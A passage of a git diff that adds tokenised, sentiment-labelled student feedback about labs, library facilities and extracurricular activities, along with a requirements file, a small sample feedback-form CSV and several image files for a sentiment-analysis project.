"lab", "instrument", "not", "properly", "work"], "neutral"], [["bad"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "interest", "helpful", "know", "knowledge"], "positive"], [["according", "student", "lab", "mark"], "negative"], [["lab", "practical", "work", "help", "learn", "thing", "properly", "evalution", "also", "necessary", "help", "retain", "concept"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "much", "helpful"], "positive"], [["lab", "also", "show", "parilaty"], "negative"], [["good"], "positive"], [["lab", "evaluation", "strict"], "negative"], [["good"], "positive"], [["lab", "evaluation", "strict"], "negative"], [["lab", "practicals", "good"], "positive"], [["practicals", "pretty", "well"], "positive"], [["good"], "positive"], [["good", "evaluation", "lab", "regard", "practicle"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lab", "practical", "work", "good", "little", "draw", "back", "faculty", "connect", "lab", "practical", "outside", "world"], "neutral"], [["like", "soo", "much"], "positive"], [["lab", "good", "prof", "explains", "everything", "lab", "begin", "lab", "asst", "help", "experiment"], "positive"], [["strcitly", "evaluted", "mark"], "negative"], [["good", "enough"], "positive"], [["good"], "positive"], [["nice", "enough"], "positive"], [["lab", "interest", "helpful", "toknoe", "knowledge"], "positive"], [["not", "good"], "negative"], [["labs", "help", "know", "work", "do", "thought", "good", "lesson"], "positive"], [["good"], "positive"], [["not", "bad"], "positive"], [["labs", "upto", "mark"], "positive"], [["lab", "not", "facalities"], "negative"], [["practical", "work", "good"], "positive"]] \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback5.json b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback5.json new file mode 100644 index 00000000..9213a7a9 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback5.json @@ -0,0 +1 @@ +[[["book", "not", "organisation", "properly", "library"], "negative"], [["library", "well", "manage", "provide", "need", "facility"], "positive"], [["proper", "self", "book"], "negative"], [["books", "unavailable"], "negative"], [["book", "not", "available", "library", "library", "small", "department"], "negative"], [["bad"], "negative"], [["fine"], "neutral"], [["good", "sit", "capacity", "increase", "digital", "stuff", "include", "god", "sake", "increase", "fee", "every", "year", "nothing", "least"], "negative"], [["not", "adequate"], "negative"], [["much", "well"], "neutral"], [["book", "facility", "available", "otherwise", "good"], "neutral"], [["book", "relateds", "course", "available", "extra", "material", "not"], "neutral"], [["book", "torn"], "neutral"], [["book", "not", "good", "condition"], "neutral"], [["okay", "staff", "list", "book"], "neutral"], [["not", "mark"], "negative"], [["college", "charge", "much", "fee", "provide", "adequate", "book", "facility"], "negative"], [["many", "course", "related", "book", "not", "available"], "negative"], [["not", "sufficient", "book", "available"], "negative"], [["book", "old", "edition"], "neutral"], [["neither", "book", "available", "proper", "sit", "arrangment"], "negative"], [["book", "make", "available"], "neutral"], [["poor", "facility"], "negative"], [["good", "find", "book", "much", "less", "number", "book"], "neutral"], [["books", "not", "maintain", "properly", "many", "torn", "page", "book"], "negative"], [["sitting", "capacity", "increase"], "neutral"], [["book", "new", "edition", "shiuld", "make", "available", "longer", "duration", "time"], "neutral"], [["poor"], "negative"], [["bad", "poor"], "negative"], [["descent"], "neutral"], [["not", "satisfied"], "neutral"], [["would", "well", "book"], "neutral"], [["not", "even", "course", "related", "book", "adequate", "amount"], "negative"], [["need", "improvement"], "neutral"], [["satisfactory"], "neutral"], [["library", "facility", "good", "number", "book", "less"], "neutral"], [["not", "good"], "negative"], [["library", "facility", "excellent", "term", "good", "technique", "use"], "positive"], [["best", "thing", "see", "university", "albeit", "behaviour", "library", "staff", "unprofessional", "time", "whimsically", "rude"], "neutral"], [["library", "huge", "collection", "book", "different", "author"], "positive"], [["yes"], "positive"], [["hardworking"], "positive"], [["satisfied", "facility", "book", "limited", "database", "distribution"], "neutral"], [["require", "libral", "rule"], "negative"], [["require", "libral", "rule"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good", "library", "facility"], "positive"], [["library", "facility", "good", "issue"], "positive"], [["hardworking"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["faculty", "know", "behave", "otherwise", "good"], "neutral"], [["descent"], "positive"], [["satisfactory"], "neutral"], [["good"], "positive"], [["library", "well", "manage", "provide", "need", "facility"], "positive"], [["require", "libral", "rule"], "negative"], [["job", "well"], "positive"], [["well", "book", "not", "avilable", "library", "book", "less", "number", "strength", "student", "large"], "negative"], [["good"], "positive"], [["book", "not", "available"], "negative"], [["system", "library", "usually", "not", "work", "creates", "problem", "issue", "book"], "negative"], [["sometimes", "book", "available", "subject", "reserve"], "negative"], [["helpful"], "positive"], [["awesome", "peaceful", "relax", "atmosphere"], "positive"], [["book", "not", "available"], "negative"], [["think", "number", "book", "less", "accord", "student", "copy", "available"], "negative"], [["good"], "positive"], [["thats", "good"], "positive"], [["think", "stock", "not", "enough", "book", "require"], "negative"], [["good"], "positive"], [["cooperative"], "positive"], [["nice"], "positive"], [["good"], "positive"], [["satisfactory"], "positive"], [["fine"], "positive"], [["fine"], "positive"], [["library", "facility", "provide", "excellent"], "positive"], [["good", "facility"], "positive"], [["average"], "neutral"], [["well"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["book", "not", "available", "please", "provide"], "negative"], [["job", "good"], "positive"], [["hardworking", "punctual"], "positive"], [["excellent"], "positive"], [["library", "awesome", "rich"], "positive"], [["good"], "positive"], [["library", "facility", "good"], "positive"], [["library", "facility", "good", "student"], "positive"], [["good", "library", "facility", "issuing", "time", "book", "must", "increase"], "positive"], [["good"], "positive"], [["book", "provide", "issue", "period", "increase"], "negative"], [["good", "library", "facility", "issuing", "time", "book", "must", "increase"], "positive"], [["never", "go"], "neutral"], [["good"], "positive"], [["book", "issue", "time", "increase", "week"], "negative"], [["good"], "positive"], [["excellent"], "positive"], [["really", "library", "provide", "good", "facilites", "student", "teacher", "fine", "system", "not", "good", "directly", "increase", "upto", "not", "good", "thing"], "neutral"], [["good", "proper", "design"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["average"], "positive"], [["library", "contains", "book", "regard", "course", "material", "cooperative", "library", "staff"], "positive"], [["book", "easily", "available", "accessable", "limit", "book", "issue", "need", "increase"], "positive"], [["good"], "positive"], [["good"], "positive"], [["library", "facility", "good", "every", "book", "available", "library"], "positive"], [["good"], "positive"], [["good", "library", "facility", "issuing", "time", "book", "must", "increase"], "positive"], [["per", "library", "book", "not", "available", "computer", "library", "hardly", "pcs", "work"], "negative"], [["good"], "positive"], [["excellent"], "positive"], [["book", "less"], "negative"], [["good"], "positive"], [["excellent"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["love"], "positive"], [["think", "library", "facility", "hostelers"], "negative"], [["capacity", "library", "less", "compare", "size", "university"], "negative"], [["library", "provide", "excellent", "facility"], "positive"], [["provide", "various", "book", "increase", "knowledge", "understand", "concept", "good"], "positive"], [["good"], "positive"], [["bad", "poor"], "negative"], [["good"], "positive"], [["good"], "positive"], [["duration", "issue", "book", "library", "change", "week", "week", "would", "great"], "negative"], [["absolutely", "fine", "book", "thing", "time", "limit", "less", "return", "book", "issue", "fast"], "negative"], [["dont", "think"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["library", "facility", "need", "improve", "bring", "book"], "negative"], [["exellent"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["library", "facility", "strength", "university", "awesome"], "positive"], [["good"], "positive"], [["almost", "every", "book", "time", "limit", "keep", "book", "much", "short"], "neutral"], [["waste", "library", "not", "good", "place", "study"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good", "find", "book", "much", "less", "number", "book"], "neutral"], [["perfect"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["nice", "timing", "library", "good"], "positive"], [["excellent"], "positive"], [["good", "need", "keep", "book", "general", "topic", "social", "polity", "etc", "related", "subject", "get", "knowledge", "country", "related", "issue"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["books", "heavily", "outnumber", "compare", "number", "student", "problem", "library"], "neutral"], [["good"], "positive"], [["insufficient", "book"], "negative"], [["word", "say", "library", "facility", "simply", "awesome"], "positive"], [["insufficient", "book"], "negative"], [["library", "facility", "good", "problem", "collection", "book", "available", "book", "less", "subject"], "neutral"], [["good"], "positive"], [["good", "enough"], "positive"], [["good"], "positive"], [["rough", "handle"], "negative"], [["book", "not", "available"], "negative"], [["librery", "facility", "excellent"], "positive"], [["rough", "handle"], "negative"], [["good"], "positive"], [["library", "facilites", "good"], "positive"], [["yeah", "quite", "well", "book", "not", "available"], "neutral"], [["library", "facility", "good"], "positive"], [["good"], "positive"], [["library", "facilty", "good"], "positive"], [["super"], "positive"], [["uncertain"], "neutral"], [["like", "reading", "book", "library"], "positive"], [["felt", "well", "problem", "library", "facility"], "positive"], [["average"], "neutral"], [["excellent", "sometimes", "lack", "book", "especially", "exam", "time"], "neutral"], [["libary", "give", "lot", "not", "get"], "neutral"], [["excellent"], "positive"], [["never", "go", "library", "lpu", "know"], "neutral"], [["know", "abt", "bcoz", "library", "till"], "neutral"], [["facility", "good", "overcome", "one", "need"], "positive"], [["good"], "positive"], [["required", "text", "book", "not", "available", "every", "student"], "negative"], [["good"], "positive"], [["library", "facility", "excellent", "limited", "book", "available", "book", "increase"], "neutral"], [["good"], "positive"], [["library", "insufficent", "number", "book", "student"], "negative"], [["good", "find", "several", "course", "book", "find", "several", "reference", "book", "also"], "positive"], [["library", "vast", "get", "wide", "variety", "book", "think", "number", "specimen", "copy", "book", "make", "available"], "neutral"], [["good"], "positive"], [["fine"], "positive"], [["good"], "positive"], [["nice", "books", "not", "availabe", "every", "time"], "neutral"], [["good"], "positive"], [["also", "good"], "positive"], [["library", "facility", "not", "good", "not", "follow", "rule", "use", "phone", "library"], "negative"], [["good"], "positive"], [["good", "library", "facalities"], "positive"], [["problem"], "negative"]] \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback6.json b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback6.json new file mode 100644 index 00000000..c5df8b41 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback6.json @@ -0,0 +1 @@ +[[["not", "proper", "equipment", "extra", "curricular", "activity"], "negative"], [["university", "term", "extracurricular", "activity", "encourage", "student", "participate", "comfort", "level"], "positive"], [["extra", "curricular", "activity"], "negative"], [["not", "upto", "mark"], "negative"], [["fine", "needs", "improvement"], "neutral"], [["fests", "sport", "activity", "absolute", "rubbish", "college"], "negative"], [["university", "provide", "facility", "extra", "curricular", "activity", "university", "even", "auditorium", "conduct", "kind", "activity"], "negative"], [["support", "extra", "curricular", "activity"], "negative"], [["never", "happen"], "negative"], [["non", "existent"], "negative"], [["thing", "college"], "negative"], [["willing", "club", "funding", "club", "leave", "dic"], "neutral"], [["fun", "entertainment", "activity", "college"], "negative"], [["infrastructure", "not", "upto", "mark"], "negative"], [["although", "fests", "sport", "event", "organise", "still", "lot", "improvement", "require"], "neutral"], [["seminar", "lecture", "name", "extra", "curricular", "activity", "activity", "organise", "independent", "club", "college"], "negative"], [["okay"], "neutral"], [["interest", "pursue", "one", "go"], "neutral"], [["thing", "exist", "interest", "play"], "neutral"], [["not", "good"], "neutral"], [["essential", "part", "student", "life", "mostly", "ignore"], "negative"], [["not", "conduct"], "negative"], [["seminar", "organize", "otherwise", "nothing"], "neutral"], [["moderate"], "neutral"], [["not", "good"], "neutral"], [["even", "certain", "activity", "organize", "hardly", "get", "know", "since", "communication", "advertisement"], "negative"], [["boring", "college"], "negative"], [["not", "much", "student", "show", "interest"], "neutral"], [["arrangement", "not", "good"], "negative"], [["sport", "activity", "fests", "competition", "organize"], "negative"], [["satisfactory"], "neutral"], [["fun", "college"], "negative"], [["poor", "bad"], "negative"], [["activity"], "negative"], [["activity", "competition", "organise"], "neutral"], [["extracurricular", "activity", "excellent", "provide", "best", "platform", "student"], "positive"], [["good"], "positive"], [["extra", "curricular", "activity", "also", "help", "student", "divert", "mind", "study", "time", "university", "play", "important", "role", "task"], "positive"], [["complete", "wastage", "time", "opinion", "strictly", "personal", "may", "not", "coincide", "others"], "negative"], [["extracurricular", "activity", "increase", "mental", "physical", "ability"], "positive"], [["yes"], "positive"], [["view"], "neutral"], [["idea", "extracurricular", "activity"], "neutral"], [["good", "provide", "great", "platform"], "positive"], [["good", "provide", "great", "platform"], "positive"], [["come", "extracurriculum", "activity", "well", "university", "come", "around"], "positive"], [["awesome"], "positive"], [[], "positive"], [["university", "term", "extracurricular", "activity", "encourage", "student", "participate", "comfort", "level"], "positive"], [["good"], "positive"], [["good"], "positive"], [["great", "job"], "positive"], [["excellent"], "positive"], [["give", "various", "opportunity", "exposure"], "positive"], [["really", "good", "thing", "event", "happen", "university", "regularly", "must", "announce", "early", "every", "student", "prepare", "participation", "sometimes", "get", "know", "event", "already", "conduct", "announcement", "must"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["extracurricular", "activity", "held", "university", "necessary", "provide", "student", "platform", "improve", "groom"], "positive"], [["good", "provide", "great", "platform"], "positive"], [["good"], "positive"], [["really", "intersting", "student", "enjoys", "alot", "get", "chance", "showcase", "talent"], "positive"], [["good"], "positive"], [["awesome"], "positive"], [["good", "refreshment"], "positive"], [["appreciable", "students", "interest", "curricular", "activity", "get", "good", "platform"], "positive"], [["good"], "positive"], [["good", "lack", "audience", "participant", "see", "activity", "duty", "leave", "basis"], "neutral"], [["perfect"], "positive"], [["activity", "gud", "appropriate", "student"], "positive"], [["good"], "positive"], [["thats", "good", "problm", "whenever", "university", "function", "like", "one", "india", "one", "world", "held", "not", "alowed", "attend", "class", "miss", "class", "gona", "loose", "attendence", "everyone", "know", "lpu", "attendnce", "important", "thanx"], "neutral"], [["chance", "enjoy", "give", "think", "activity", "like", "one", "india", "enjoy", "otherwise", "everything", "good"], "negative"], [["good"], "positive"], [["extracurricular", "activies", "held", "class", "student", "attend", "every", "student", "enjoy", "participate", "event"], "negative"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["amaze", "help", "boost", "stamen"], "positive"], [["increase", "confidence"], "positive"], [["average"], "neutral"], [["best"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [[], "positive"], [["good"], "positive"], [["average"], "neutral"], [["extracurricular", "activity", "good"], "positive"], [["good", "teacher", "not", "consider", "new", "one"], "neutral"], [["good"], "positive"], [["extracurrcular", "activity", "held", "university", "good"], "positive"], [["super", "extracurricular", "activity", "held", "university", "student", "show", "effort", "field"], "positive"], [["good", "ample", "number", "extracurricular", "activity", "take", "place"], "positive"], [["good"], "positive"], [["good", "give", "exposure", "student", "not"], "neutral"], [["excellent"], "positive"], [["donot", "participate"], "neutral"], [["donot", "participate"], "neutral"], [["enough"], "positive"], [["activity", "good"], "positive"], [["good"], "positive"], [["best"], "positive"], [["upto", "mark", "efficiently", "held", "university"], "positive"], [["good"], "positive"], [["provide", "good", "platform", "interested", "student"], "positive"], [["comment", "participiate", "get", "reappear", "backlog", "time", "give", "exam", "preparation"], "negative"], [["activity", "good", "time", "give", "student", "participation", "use"], "negative"], [["average"], "neutral"], [["lot", "activity", "student", "get", "exposure", "game"], "positive"], [["many", "activity", "conduct", "student", "get", "ample", "amount", "opportunity", "participate"], "positive"], [["go", "excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["not", "much", "interested"], "neutral"], [["good"], "positive"], [["excellent"], "positive"], [["bcoz", "lecture", "get", "time", "participate"], "negative"], [["good"], "positive"], [["average"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["also", "want", "participate", "activity", "take", "part", "activity", "day", "scholar"], "negative"], [["extracurricular", "activity", "good", "provide", "good", "platform"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["great"], "positive"], [["best"], "positive"], [["hahahah"], "neutral"], [["many", "oppertunities", "student", "upon", "student", "utilize"], "positive"], [["excellent"], "positive"], [["excellent"], "positive"], [["good"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["excellent"], "positive"], [["poor"], "neutral"], [["university", "not", "conduct", "extracurricular", "activity", "university", "good", "feature"], "positive"], [["good"], "positive"], [["much", "useful", "participate", "interests"], "positive"], [["good"], "positive"], [["excelent"], "positive"], [["quite", "lot", "event", "organize", "student", "round", "growth", "nice", "thing"], "positive"], [["good"], "positive"], [["activities", "not", "mark", "advertisement"], "negative"], [["well"], "positive"], [["good"], "positive"], [["excellent"], "positive"], [["good", "get", "sufficient", "time", "participate", "activity"], "neutral"], [["unbiased"], "positive"], [["lpu", "give", "best", "opportunity", "student", "show", "talent"], "positive"], [["usefull", "student", "excellent"], "positive"], [["lot", "extracurricular", "activites", "held", "university", "many", "unknown", "problem", "view", "rating"], "neutral"], [["use", "full", "sudents", "forphysical", "activity", "improvement", "knowledge"], "positive"], [["good"], "positive"], [["sometimes", "study", "burden", "much", "not", "participate", "activity", "one", "activity", "complusory", "every", "student", "like", "course"], "negative"], [["excellent"], "positive"], [["help", "building", "university", "reputation"], "positive"], [["good"], "positive"], [["quite", "great", "unique"], "positive"], [["extraordinary"], "positive"], [["quite", "great", "unique"], "positive"], [["good"], "positive"], [["good"], "positive"], [["relly", "awesome", "extirdinary", "marvellous", "time", "attend"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["nice"], "positive"], [["good"], "positive"], [["good", "university"], "positive"], [["good"], "positive"], [["excellent", "best", "provide", "facilties", "etc", "extra", "curricular", "activity"], "positive"], [["extracurricular", "activity", "also", "good"], "positive"], [["excellent"], "positive"], [["university", "offer", "alkot", "activity", "excellent", "part", "student", "able", "explore"], "positive"], [["super"], "positive"], [["good"], "positive"], [["really", "enjoy"], "positive"], [["felt", "happy", "encourages", "talent"], "positive"], [["excellent"], "positive"], [["outstanding"], "positive"], [["well"], "positive"], [["excellent", "simply", "superb"], "positive"], [["come", "lpu", "thought", "sport", "good", "encourage", "many", "politics", "sport", "especially", "cricket"], "negative"], [["not", "every", "one", "get", "opportunity", "recommend", "student", "get"], "negative"], [["seem", "good", "since", "good", "source", "interaction", "built", "leadership", "quilities", "overcome", "fault"], "positive"], [["sportive"], "positive"], [["one", "best", "thing", "like", "university", "best"], "positive"], [["extraordinary"], "positive"], [["extra", "curricular", "good", "university", "provide", "many", "pathway", "many", "student", "apart", "education"], "positive"], [["good"], "positive"], [["good", "knowledgebale", "help", "interact", "student"], "positive"], [["university", "lot", "event", "lot", "extra", "curriclar", "activity"], "positive"], [["excellent"], "positive"], [["best"], "positive"], [["good"], "positive"], [["excllent"], "positive"], [["high", "need", "take", "accitivties", "noise", "pollition", "university", "always", "big", "problem"], "negative"], [["yes"], "positive"], [["good"], "positive"], [["good"], "positive"], [["extracurricular", "activity", "held", "university", "enjoyable", "good"], "positive"], [["university", "lot", "extracurricular", "go", "help", "lot"], "positive"], [["best", "thing", "university", "like"], "positive"]] \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/1.png b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/1.png new file mode 100644 index 00000000..a8bfd68a Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/1.png differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/2.png b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/2.png new file mode 100644 index 00000000..27b411dd Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/2.png differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/3.png b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/3.png new file mode 100644 index 00000000..6445d40c Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/3.png differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/README.md b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/README.md new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/README.md @@ -0,0 +1 @@ + diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/flow.PNG b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/flow.PNG new file mode 100644 index 00000000..1a6cf1b3 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/flow.PNG differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/results.PNG b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/results.PNG new file mode 100644 index 00000000..085afcf1 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/images/results.PNG differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/requirements.txt b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/requirements.txt new file mode 100644 index 00000000..36116265 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/requirements.txt @@ -0,0 +1,12 @@ +numpy +pandas +scikit-learn +nltk +matplotlib +Click==7.0 +Flask==1.1.1 +gunicorn==19.9.0 +itsdangerous==1.1.0 +Jinja2==2.10.1 +MarkupSafe==1.1.1 +Werkzeug==0.15.6 diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/200.gif b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/200.gif new file mode 100644 index 00000000..f59e42d5 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/200.gif differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/Student-Feedback-Form.csv b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/Student-Feedback-Form.csv new file mode 100644 index 00000000..162ba8bf --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/Student-Feedback-Form.csv @@ -0,0 +1,6 @@ +"Timestamp","Name","Email-Id","Branch","Department","Teacher Feedback","Course Content","Examination pattern","Laboratory ","Library Facilities","Extra Co-Curricular Activities","Any other suggestion" +"2021/08/02 5:40:57 pm GMT+5:30","gg","gg@gmail.com","ece","uiet","awesome teachers , explain all concepts clearly . teachers give us all the information required to improve the performance.","All courses material provide very good knowledge in depth .","Again the university tests students of their ability to memorize stuff. Questions should emphasize more on concepts rather than testing brain's cramming storage house.","Not upto the mark","Library facilities are excellent in terms of good techniques that are used over there.","Extra curricular activities also help students to divert their mind from their study for some time. University plays an important role in this task.","" +"2021/08/02 5:43:53 pm GMT+5:30","hb","hb@gmail.com","ece","uiet","Talk about punctuality, it's really good but the lecture delivery is somehow not appreciated because every teacher has different style of teaching, so lack of knowledge in terms of subject is there and interaction is also kind of boring. A teacher should be entertaining as well but they are really not. All they want us to be studios and disciplined which is really not the thinking of every student.","The materials or links provided for study purpose is good, clarity in depth of courses but again it differs from teacher to teacher.","Exam pattern and how it is conducted is really seems to be good but it's my first year and when I went to scrutiny for the first time it was not as per my expectations. Teachers have marked the answers as per their choice, they must look for the content rather than the length of answers. So poor paper checking is there.","well and good infrastructure and have trending software in lab ","library is very well managed and provide needed facilities to us","This university is no1 in terms of extracurricular activities and in encouraging students to participate at their comfort levels. ","Improve infrastructure" +"2021/08/02 8:30:44 pm GMT+5:30","abc","ab@gmail.com","ece","uiet","Good","Very bad and poor","Nice","Okay , not so good","Very good","Good","" +"2021/08/02 8:32:03 pm GMT+5:30","dc","dc@gmail.com","ece","uiet","poor","bad","improvement required","good","fine","not good","" +"2021/08/02 8:33:11 pm GMT+5:30","xyz","xyz@gmail.com","ece","uiet","Awesome teaching","The course content is excellent ","Fine","Very poor labs","Good","Needs improvement","" \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/form.pdf b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/form.pdf new file mode 100644 index 00000000..5d5afe3c Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/form.pdf differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/paste-your-content-here.gif b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/paste-your-content-here.gif new file mode 100644 index 00000000..249b62fa Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/paste-your-content-here.gif differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot1.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot1.jpg new file mode 100644 index 00000000..65faba5f Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot1.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot10.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot10.jpg new file mode 100644 index 00000000..16f11132 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot10.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot11.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot11.jpg new file mode 100644 index 00000000..130fa9e5 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot11.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot12.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot12.jpg new file mode 100644 index 00000000..a9d66791 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot12.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot13.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot13.jpg new file mode 100644 index 00000000..7d012017 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot13.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot14.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot14.jpg new file mode 100644 index 00000000..b51ad177 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot14.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot15.jpg b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot15.jpg new file mode 100644 index 00000000..91a4f563 Binary files /dev/null and b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/plot15.jpg differ diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/static/student-data.xlsx b/MachineLearning 